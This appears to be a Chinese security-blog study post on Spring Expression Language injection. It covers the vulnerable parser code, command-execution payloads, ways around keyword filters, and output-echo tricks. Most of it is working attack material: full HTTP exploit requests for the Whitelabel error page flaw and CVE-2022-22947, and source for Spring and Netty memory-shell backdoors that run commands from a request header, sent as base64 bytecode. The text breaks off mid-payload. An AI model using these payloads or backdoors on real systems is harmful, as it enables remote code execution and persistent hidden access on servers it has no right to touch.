SpEL表达式注入漏洞学习

本文最后更新于:2022年10月31日 下午

认识SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中

SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等
这里需要注意#{}${}的区别:

  • #{}就是SpEL的定界符,用于指明内容为SpEL表达式并执行
  • ${}主要用于加载外部属性文件中的值,在Spring Boot 很早版本的一个SpEL表达式注入中就是依赖${}触发的
  • 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{'${}'},注意单引号是字符串类型才添加的

实验环境:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
可以看到给出的代码:

package code.landgrey.controller;

import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.expression.Expression;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
@EnableAutoConfiguration
public class Index {
    @ResponseBody
    @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
    public String spel(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        TemplateParserContext templateParserContext = new TemplateParserContext();
        Expression expression = parser.parseExpression(input,templateParserContext);
        return expression.getValue().toString();
    }
}

具体步骤如下:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
  2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
  3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据
  4. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值

漏洞原理:
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略

在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行

类类型表达式T(Type)

SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()操作符进行声明,括号中需要包含类名的全限定名,也就是包名加上类名,唯一例外的是,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
Object value = exp.getValue();
System.out.println(value);

类实例化

使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("new java.lang.ProcessBuilder('cmd','/c','calc').start()");
Object value = exp.getValue();
System.out.println(value);

常用payload与回显

一些简单的payload:

#{12*12}
#{new java.lang.ProcessBuilder('cmd','/c','calc').start()}
#{new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
#{T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
#{T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))}

关键字黑名单过滤绕过:
1.可以使用反射构造

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/c","calc"})}

2.JavaScript引擎

#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}
#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)}

绕过T(过滤:

#{T%00(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

上面的代码在解析字符时,将空格字符和 \u0000 字符当成了空白符号,所以,直接尝试在 T 和 ( 字符中间插入 %00 ,成功绕过

参考:
bypass openrasp SpEL RCE 的过程及思考

绕过getClass(过滤:
通过SpEL语法的集合选择绕过,可以将''.getClass替换为 ''.class.getSuperclass().class

''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

需要注意,这里的14可能需要替换为15,不同jdk版本的序号不同

回显构造:
BufferedReader

#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "GBK")).readLine()}

这种方式缺点很明显,只能读取一行

Scanner

#{new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "GBK").useDelimiter("\\A").next()}

原理在于Scanner#useDelimiter方法使用指定的字符串分割输出,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出

参考:
SpEL注入RCE分析与绕过
SpEL表达式注入漏洞学习
由浅入深SpEL表达式注入漏洞
SpEL表达式注入漏洞学习和回显poc研究

whitelabel error page SpEL RCE

利用条件:

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  • 至少知道一个触发 springboot 默认错误页面的接口及参数名

环境提供的代码如下:

import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@EnableAutoConfiguration
public class Article {
    @RequestMapping("/article")
    public String hello(String id){
        int total = 100;
        String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
        return message;
    }
}

输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞

漏洞分析

使用payload发现失败了,爆了一个字符的错误

看到在dispatcherServlet捕获到程序抛出错误,那么debug调试看一下,在doDispatch方法调用到其render方法,那我们在render方法中打个断点往下调试一下,看看发生了什么

跟进render方法,看到会向response写入result,那么跟进replacePlaceholders看一下发生了什么

可以看见调用了parseStringValue方法,继续跟进parseStringValue方法,就会看到我们的重点了

parseStringValue是根据${来找SpEL表达式的,所以传入#{会无效

看到strVal的值:

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>

这里需要注意末尾有个message,它就是前面的报错内容。这里的逻辑是在返回的页面内找到${,然后进入while循环,如果找到了需要替换的位置,那么就把具体的值替换到result中
跟进到resolvePlaceholder,在第四次循环时可以看到value为我们传入的payload,并执行了getValue,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,继续跟进

可以看到这个方法的逻辑是遍历每个字符,然后根据convertToReference方法进行替换,将替换后的字符添加到最后的输出中

跟进convertToReference,该方法对普通的单双引号、尖括号和&进行了替换,然后对特殊的char也进行了一定的替换

往后发现会再次调用parseStringValue

最后变成了new java.lang.ProcessBuilder(&quot;calc&quot;).start(),产生报错

漏洞复现

可以传入byte数组,payload如下:

${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

绕过过滤构造一下回显即可

${new java.util.Scanner(new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,109,100}), new java.lang.String(new byte[]{47,99}), new java.lang.String(new byte[]{100,105,114})).start().getInputStream(),new java.lang.String(new byte[]{71,66,75})).useDelimiter(new java.lang.String(new byte[]{92,92,65})).next()}

参考:
SpringBoot SpEL表达式注入漏洞-分析与复现

CVE-2022-22947 SpringCloud GateWay SpEL RCE

影响范围:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7

下载存在漏洞的版本v3.1.0:https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.1.0

漏洞复现

先创建路由,filter中填充spel表达式,然后refresh执行,使用AddResponseHeader回显
1.添加filter

POST /actuator/gateway/routes/spel HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "spel",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

2.刷新

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 0

3.再次访问

GET /actuator/gateway/routes/spel HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


4.删除路由

DELETE /actuator/gateway/routes/spel HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0

最后再刷新一遍就可以删除了

漏洞分析

看下diff:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
可以看到用GatewayEvaluationContext替换了StandardEvaluationContext来执行spel表达式

getValue查找方法,找到四个地方都在ShortcutConfigurable接口类里,分布在ShortcutType的三个枚举值

三个枚举值都重写了org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize函数
这里有个shortcutType方法,会直接调用ShortcutType.DEFAULT

继续向上查找shortcutType()函数的引用,在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入

根据文档:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
可以通过POST和DELETE请求进行添加和删除路由的操作

下断点后跟进查看,发现POST传入的是RouteDefinition对象

看下RouteDefinition

其中的FilterDefinition类需要有一个name和args键值对

继续往下跟,调用了validateRouteDefinition方法对当前filter name检查,判断是否是存在的filter name,一共有29个,其中用AddResponseHeader可以帮助构造回显

注入内存马

Spring cloud gateway对payload的稳定性要求比较高,一旦报错可能会影响业务的。所以在开始之前,我们需要先构造一个优质的SPEL执行java字节码的payload

使用Spring中自带的ReflectUtils类的defineClass方法,c0ny1师傅进行了如下的优化:

  1. 解决BCEL/js引擎兼容性问题
  2. 解决base64在不同版本jdk的兼容问题
  3. 可多次运行同类名字节码
  4. 解决可能导致的ClassNotFound问题
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

Spring层内存马

c0ny1师傅文章中用到的是RequestMappingHandlerMapping注册一个与使用@RequestMapping("/*")等效的HandlerMapping类型的内存马

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.reactive.result.condition.PatternsRequestCondition;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;

import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshell {
	public static String doInject(Object requestMappingHandlerMapping) {
		String msg = "inject-start";
		try {
			Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
			registerHandlerMethod.setAccessible(true);
			Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
			PathPattern pathPattern = new PathPatternParser().parse("/*");
			PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
			RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
			registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
			msg = "inject-success";
		}catch (Exception e){
			msg = "inject-error";
		}
		return msg;
	}

	public ResponseEntity executeCommand(String cmd) throws IOException {
		String execResult = new Scanner(Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}).getInputStream(),"GBK").useDelimiter("\\A").next();
		return new ResponseEntity(execResult, HttpStatus.OK);
	}
}

将上面的类使用javac编译为字节码,然后进行进行Base64编码

import base64

fin = open(r"C:\\Users\\bmth\\Desktop\\作业\\CTF学习\\java学习\\spring-cloud-gateway-3.1.0\\spring-cloud-gateway-server\\target\\classes\\SpringRequestMappingMemshell.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)


最后的exp:

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAkwoABgBOCABPCgAGAFAIADMHAFEHAFIHAFMHAFQKAAUAVQoABwBWBwBXCAA1BwBYBwBZCgAOAE4IAFoKAA4AWwcAXAcAXQoAEgBeCABfCgAIAGAKAAsATgoABwBhCABiBwBjCABkBwBlCgBmAGcIAEgIAGgKAGYAaQoAagBrCABsCgAcAG0IAG4KABwAbwoAHABwBwBxCQByAHMKACcAdAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAFIHAFgHAGMBABBNZXRob2RQYXJhbWV0ZXJzAQA9KExqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5OwEAA2NtZAEACmV4ZWNSZXN1bHQBAApFeGNlcHRpb25zBwB1AQAKU291cmNlRmlsZQEAIVNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGwuamF2YQwAKgArAQAMaW5qZWN0LXN0YXJ0DAB2AHcBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQBBb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MAHgAeQwAegB7AQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIBAAIvKgwAfAB9AQBKb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BADBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm4MACoAfgEAAAwAKgB/DACAAIEBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IBABFqYXZhL3V0aWwvU2Nhbm5lcgcAggwAgwCEAQACL2MMAIUAhgcAhwwAiACJAQADR0JLDAAqAIoBAAJcQQwAiwCMDACNAI4BACdvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHkHAI8MAJAAkQwAKgCSAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAFcGFyc2UBAEYoTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQA2KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOylWAQIkKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgAhAAsABgAAAAAAAwABACoAKwABACwAAAAvAAEAAQAAAAUqtwABsQAAAAIALQAAAAYAAQAAAAwALgAAAAwAAQAAAAUALwAwAAAACQAxADIAAgAsAAABUwAKAAcAAACSEgJMKrYAAxIEBr0ABVkDEgZTWQQSB1NZBRIIU7YACU0sBLYAChILEgwEvQAFWQMSDVO2AAlOuwAOWbcADxIQtgAROgS7ABJZBL0AE1kDGQRTtwAUOgW7AAhZEhUZBQEBAQEBAbcAFjoGLCoGvQAGWQO7AAtZtwAXU1kELVNZBRkGU7YAGFcSGUynAAdNEhtMK7AAAQADAIkAjAAaAAMALQAAADYADQAAAA4AAwAQACAAEQAlABIANgATAEQAFABWABUAaQAWAIYAFwCJABoAjAAYAI0AGQCQABsALgAAAFIACAAgAGkAMwA0AAIANgBTADUANAADAEQARQA2ADcABABWADMAOAA5AAUAaQAgADoAOwAGAI0AAwA8AD0AAgAAAJIAPgA/AAAAAwCPAEAAQQABAEIAAAATAAL/AIwAAgcAQwcARAABBwBFAwBGAAAABQEAPgAAAAEANQBHAAMALAAAAHsABwADAAAAObsAHFm4AB0GvQANWQMSHlNZBBIfU1kFK1O2ACC2ACESIrcAIxIktgAltgAmTbsAJ1kssgAotwApsAAAAAIALQAAAAoAAgAAAB8ALQAgAC4AAAAgAAMAAAA5AC8AMAAAAAAAOQBIAEEAAQAtAAwASQBBAAIASgAAAAQAAQBLAEYAAAAFAQBIAAAAAQBMAAAAAgBN'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "http://example.com"
}

netty层内存马

netty处理http请求是构建一条责任链pipline,http请求会被链上的handler会依次来处理。所以我们的内存马其实就是一个handler

import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
	public static String doInject(){
		String msg = "inject-start";
		try {
			Method getThreads = Thread.class.getDeclaredMethod("getThreads");
			getThreads.setAccessible(true);
			Object threads = getThreads.invoke(null);

			for (int i = 0; i < Array.getLength(threads); i++) {
				Object thread = Array.get(threads, i);
				if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
					Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
					_val$disposableServer.setAccessible(true);
					Object val$disposableServer = _val$disposableServer.get(thread);
					Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
					_config.setAccessible(true);
					Object config = _config.get(val$disposableServer);
					Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
					_doOnChannelInit.setAccessible(true);
					_doOnChannelInit.set(config, new NettyMemshell());
					msg = "inject-success";
				}
			}
		}catch (Exception e){
			msg = "inject-error";
		}
		return msg;
	}

	@Override
	// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
	public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
		ChannelPipeline pipeline = channel.pipeline();
		// 将内存马的handler添加到spring层handler的前面
		pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
	}


	@Override
	// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
	public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
		if(msg instanceof HttpRequest){
			HttpRequest httpRequest = (HttpRequest)msg;
			try {
				if(httpRequest.headers().contains("X-CMD")) {
					String cmd = httpRequest.headers().get("X-CMD");
					String execResult = new Scanner(Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}).getInputStream(),"GBK").useDelimiter("\\A").next();
					// 返回执行结果
					send(ctx, execResult, HttpResponseStatus.OK);
					return;
				}
			}catch (Exception e){
				e.printStackTrace();
			}
		}
		ctx.fireChannelRead(msg);
	}


	private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
		FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
		response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
		ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
	}
}

然后生成字节码,传入

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('NettyMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBGQoAQgCBCACCBwCDCABXBwCECgAFAIUKAIYAhwcAiAoAhgCJCgCKAIsKAIoAjAoACACNCgAFAI4IAI8KACgAkAgATwoABQCRCgCSAIcKAJIAkwoABQCUCABSCACVBwCWCgAXAIEKAJIAlwgAmAcAmQgAmgsAmwCcCACdCACeCwCfAKAHAKELACEAoggAowoApAClCgCkAKYHAKcKAKgAqQcAqggAcAgAqwoAqACsCgCtAK4IAK8KACYAsAgAsQoAJgCyCgAmALMJALQAtQoAFwC2CgAbALcLALgAuQcAugkAuwC8CQC9AL4KAL8AwAoANgDBCwDCAKIJAMMAxAgAxQoApADGCwC4AMcJAMgAyQsAygDLBwDMBwDNAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MTmV0dHlNZW1zaGVsbDsBAAhkb0luamVjdAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAVX3ZhbCRkaXNwb3NhYmxlU2VydmVyAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAFHZhbCRkaXNwb3NhYmxlU2VydmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHX2NvbmZpZwEABmNvbmZpZwEAEF9kb09uQ2hhbm5lbEluaXQBAAZ0aHJlYWQBAAFpAQABSQEACmdldFRocmVhZHMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAB3RocmVhZHMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAqgcAzgcAiAcAmQEADW9uQ2hhbm5lbEluaXQBAFcoTHJlYWN0b3IvbmV0dHkvQ29ubmVjdGlvbk9ic2VydmVyO0xpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7TGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KVYBABJjb25uZWN0aW9uT2JzZXJ2